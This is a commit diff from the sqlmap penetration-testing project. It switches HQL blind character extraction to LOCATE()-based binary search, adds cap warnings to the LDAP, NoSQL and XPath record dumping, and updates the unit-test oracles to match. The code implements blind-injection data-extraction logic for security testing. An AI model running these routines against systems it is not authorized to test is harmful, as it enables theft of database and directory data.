mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-12 03:23:27 +00:00
Minor patches
This commit is contained in:
parent
d0f16b284d
commit
2fec735b13
10 changed files with 81 additions and 49 deletions
|
|
@ -278,15 +278,16 @@ def _hql_atom(atom):
|
|||
return False
|
||||
return len(HQL_RECORD[attr]) >= n
|
||||
|
||||
match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char
|
||||
match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index)
|
||||
if match:
|
||||
attr, pos, ch = match.group(1), int(match.group(2)), match.group(3)
|
||||
attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4))
|
||||
if attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
if _hql_no_row(atom):
|
||||
return False
|
||||
value = HQL_RECORD[attr]
|
||||
return pos <= len(value) and value[pos - 1] == ch
|
||||
index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent
|
||||
return index >= n
|
||||
|
||||
match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak)
|
||||
if match:
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.66"
|
||||
VERSION = "1.10.7.67"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -1040,7 +1040,7 @@ LDAP_ERROR_SIGNATURES = (
|
|||
# that an error response originates from an LDAP back-end rather than a generic HTTP 500
|
||||
LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)
|
||||
|
||||
# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison
|
||||
# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan
|
||||
LDAP_CHAR_MIN = 0x20
|
||||
LDAP_CHAR_MAX = 0x7e
|
||||
|
||||
|
|
@ -1268,9 +1268,6 @@ XXE_LOCAL_DTDS = (
|
|||
("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"),
|
||||
)
|
||||
|
||||
# Upper bound for SSTI value extraction (reserved for future use)
|
||||
SSTI_MAX_LENGTH = 256
|
||||
|
||||
# Length of prefix and suffix used in non-SQLI heuristic checks
|
||||
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
||||
|
||||
|
|
|
|||
|
|
@ -835,6 +835,9 @@ def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH):
|
|||
high = mid
|
||||
length = low
|
||||
|
||||
if length >= maxLen:
|
||||
logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen)
|
||||
|
||||
value = ""
|
||||
for pos in xrange(1, length + 1):
|
||||
ordExpr = dialect.ordinal(expr, pos)
|
||||
|
|
@ -1064,6 +1067,7 @@ def _testSlot(slot, endpoint):
|
|||
logger.info("no oracle confirmed for this slot")
|
||||
return None, None, None
|
||||
|
||||
logger.info("%s.%s(%s:) is vulnerable to GraphQL injection (%s-based)" % (slot.parentType, slot.fieldName, slot.targetArg, kind))
|
||||
title = "GraphQL %s" % oracleType
|
||||
payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE
|
||||
report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % (
|
||||
|
|
|
|||
|
|
@ -310,17 +310,25 @@ for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1):
|
|||
if _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
|
||||
# Charset as an HQL string literal for LOCATE()-based binary search: each character's
|
||||
# 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a
|
||||
# linear equality scan), and LOCATE is an index lookup so no lexicographic ordering /
|
||||
# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded
|
||||
# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as
|
||||
# it was under the previous linear scan). ', ", \ are already excluded above.
|
||||
_URL_HOSTILE = set(ord(_) for _ in "%&+#?")
|
||||
_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE)
|
||||
|
||||
def _scalar(entity, attribute, expr, pin, after=None):
|
||||
|
||||
def _scalar(entity, attrExpr, pin, after=None):
|
||||
"""Scalar subquery over a single `entity` row selected by the smallest `pin`
|
||||
(optionally the smallest strictly greater than `after`, to walk rows in order).
|
||||
Alias-independent, so it works regardless of the outer query's alias. `expr`
|
||||
wraps the attribute, cast to string so numeric/temporal values extract too."""
|
||||
Alias-independent, so it works regardless of the outer query's alias. `attrExpr`
|
||||
is the already-built selected expression (references CAST(_h.<attr> AS string))."""
|
||||
|
||||
bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after)
|
||||
target = "CAST(_h.%s AS string)" % attribute
|
||||
inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % (
|
||||
expr % target, entity, pin, pin, entity, bound)
|
||||
attrExpr, entity, pin, pin, entity, bound)
|
||||
return "(%s)" % inner
|
||||
|
||||
|
||||
|
|
@ -328,7 +336,7 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH
|
|||
"""Blindly recover one attribute value of the row selected by `pin`/`after`."""
|
||||
|
||||
# length first, by binary search
|
||||
lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after)
|
||||
lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after)
|
||||
if not truth("%s>=1" % lengthExpr):
|
||||
return ""
|
||||
|
||||
|
|
@ -343,14 +351,20 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH
|
|||
|
||||
chars = []
|
||||
for pos in xrange(1, length + 1):
|
||||
charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after)
|
||||
found = None
|
||||
for cp in _CHARSET:
|
||||
literal = chr(cp)
|
||||
if truth("%s='%s'" % (charExpr, literal)):
|
||||
found = literal
|
||||
break
|
||||
chars.append(found if found is not None else "?")
|
||||
# index of this character inside _CS_LITERAL, recovered by binary search
|
||||
idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after)
|
||||
if not truth("%s>=1" % idxExpr):
|
||||
chars.append("?")
|
||||
continue
|
||||
|
||||
lo, hi = 1, len(_CS_LITERAL)
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if truth("%s>=%d" % (idxExpr, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
chars.append(_CS_LITERAL[lo - 1])
|
||||
|
||||
return "".join(chars)
|
||||
|
||||
|
|
@ -407,6 +421,8 @@ def _dumpEntity(oracle, place, parameter, entity):
|
|||
if not re.match(r"\A\d+\Z", pinValue):
|
||||
break
|
||||
after = pinValue
|
||||
else:
|
||||
logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS))
|
||||
|
||||
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows)))
|
||||
|
||||
|
|
|
|||
|
|
@ -553,6 +553,8 @@ def _enumerateEntryKeys(oracle, builder):
|
|||
logger.info("identified directory entry: %s='%s'" % (keyAttr, value))
|
||||
|
||||
if values:
|
||||
if len(values) >= LDAP_MAX_RECORDS:
|
||||
logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS)
|
||||
return keyAttr, values
|
||||
|
||||
return None, []
|
||||
|
|
@ -602,10 +604,22 @@ def _dumpMultiValues(oracle, builder, place, parameter):
|
|||
if not _exists(oracle, builder, attr):
|
||||
continue
|
||||
|
||||
value = _inferAttribute(oracle, builder, attr)
|
||||
if value:
|
||||
logger.info("fetched 1 value from attribute '%s'" % attr)
|
||||
_dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)])
|
||||
# Multi-valued attributes (member, memberOf, ...) carry several values;
|
||||
# walk them by excluding each recovered value from the next probe, exactly
|
||||
# like _enumerateEntryKeys does for entry keys.
|
||||
values = []
|
||||
while len(values) < LDAP_MAX_RECORDS:
|
||||
exclusions = [(attr, _) for _ in values]
|
||||
value = _inferAttribute(oracle, builder, attr, exclusions=exclusions)
|
||||
if not value or value in values:
|
||||
break
|
||||
values.append(value)
|
||||
|
||||
if values:
|
||||
if len(values) >= LDAP_MAX_RECORDS:
|
||||
logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS))
|
||||
logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr))
|
||||
_dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values])
|
||||
dumped = True
|
||||
|
||||
return dumped
|
||||
|
|
@ -720,7 +734,7 @@ def ldapScan():
|
|||
if not slot.backend or slot.backend == "Generic LDAP":
|
||||
backend = _fingerprintByAttribute(oracle, builder)
|
||||
if backend:
|
||||
logger.info("identified back-end DBMS: '%s'" % backend)
|
||||
logger.info("identified back-end: '%s'" % backend)
|
||||
slot = slot._replace(backend=backend)
|
||||
|
||||
# Determine extraction method: in-band if the template page already
|
||||
|
|
|
|||
|
|
@ -424,6 +424,8 @@ def _cypherDump(place, parameter):
|
|||
records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node)
|
||||
columns.extend(_ for _ in cols if _ not in columns)
|
||||
lastId = nodeId
|
||||
else:
|
||||
logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS)
|
||||
|
||||
return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None
|
||||
|
||||
|
|
|
|||
|
|
@ -24,8 +24,6 @@ from lib.core.settings import UPPER_RATIO_BOUND
|
|||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST)
|
||||
|
||||
# Each Engine entry defines detection payloads and expected behaviour for one
|
||||
|
|
@ -572,9 +570,6 @@ def _fingerprint(place, parameter):
|
|||
|
||||
|
||||
def sstiScan():
|
||||
global SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints "
|
||||
debugMsg += "common template engines when possible. SQL enumeration "
|
||||
debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
|
||||
|
|
|
|||
|
|
@ -488,10 +488,14 @@ def _walkTree(oracle, builder, path="/*", depth=0):
|
|||
childCount = _inferCount(oracle, builder, path,
|
||||
lambda b, p, c: b.childCount(p, c),
|
||||
maxCount=32)
|
||||
if childCount >= 32:
|
||||
logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name)
|
||||
|
||||
attrCount = _inferCount(oracle, builder, path,
|
||||
lambda b, p, c: b.attributeCount(p, c),
|
||||
maxCount=16)
|
||||
if attrCount >= 16:
|
||||
logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name)
|
||||
|
||||
attributes = []
|
||||
for i in xrange(1, attrCount + 1):
|
||||
|
|
|
|||
|
|
@ -58,7 +58,7 @@ class TestBoundary(unittest.TestCase):
|
|||
self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1")
|
||||
|
||||
def test_scalar_casts_attribute(self):
|
||||
expr = hql._scalar("Member", "id", "LENGTH(%s)", "id")
|
||||
expr = hql._scalar("Member", "LENGTH(CAST(_h.id AS string))", "id")
|
||||
self.assertIn("CAST(_h.id AS string)", expr)
|
||||
self.assertIn("FROM Member _h", expr)
|
||||
self.assertIn("MIN(_h2.id)", expr)
|
||||
|
|
@ -111,14 +111,15 @@ def _recordOracle(record, entity="Member"):
|
|||
n = re.search(r">=(\d+)", predicate)
|
||||
if m and n:
|
||||
return len(str(record.get(m.group(1), ""))) >= int(n.group(1))
|
||||
# char: SUBSTRING(CAST(_h.<attr> AS string),<pos>,1) ... ='<c>'
|
||||
if "SUBSTRING" in predicate:
|
||||
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
|
||||
c = re.search(r"='(.)'\s*$", predicate)
|
||||
if m and c:
|
||||
attr, pos, ch = m.group(1), int(m.group(2)), c.group(1)
|
||||
# char: LOCATE(SUBSTRING(CAST(_h.<attr> AS string),<pos>,1),'<lit>') ... >=<N>
|
||||
if "LOCATE" in predicate:
|
||||
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate)
|
||||
n = re.search(r">=(\d+)\s*$", predicate)
|
||||
if m and n:
|
||||
attr, pos, literal = m.group(1), int(m.group(2)), m.group(3)
|
||||
value = str(record.get(attr, ""))
|
||||
return pos <= len(value) and value[pos - 1] == ch
|
||||
index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0
|
||||
return index >= int(n.group(1))
|
||||
return False
|
||||
|
||||
return truth
|
||||
|
|
@ -174,13 +175,14 @@ def _multiOracle(records):
|
|||
n = re.search(r">=(\d+)", predicate)
|
||||
if m and n:
|
||||
return len(str(rec.get(m.group(1), ""))) >= int(n.group(1))
|
||||
if "SUBSTRING" in predicate:
|
||||
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate)
|
||||
c = re.search(r"='(.)'\s*$", predicate)
|
||||
if m and c:
|
||||
if "LOCATE" in predicate:
|
||||
m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate)
|
||||
n = re.search(r">=(\d+)\s*$", predicate)
|
||||
if m and n:
|
||||
value = str(rec.get(m.group(1), ""))
|
||||
pos = int(m.group(2))
|
||||
return pos <= len(value) and value[pos - 1] == c.group(1)
|
||||
pos, literal = int(m.group(2)), m.group(3)
|
||||
index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0
|
||||
return index >= int(n.group(1))
|
||||
return False
|
||||
|
||||
return truth
|
||||
|
|
|
|||
|
|
@ -18,9 +18,6 @@ bootstrap()
|
|||
import lib.techniques.ssti.inject as ssti
|
||||
|
||||
|
||||
SENTINEL = ssti.SENTINEL
|
||||
|
||||
|
||||
class TestHelpers(unittest.TestCase):
|
||||
def test_ratio(self):
|
||||
self.assertGreater(ssti._ratio("abc", "abc"), 0.9)
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue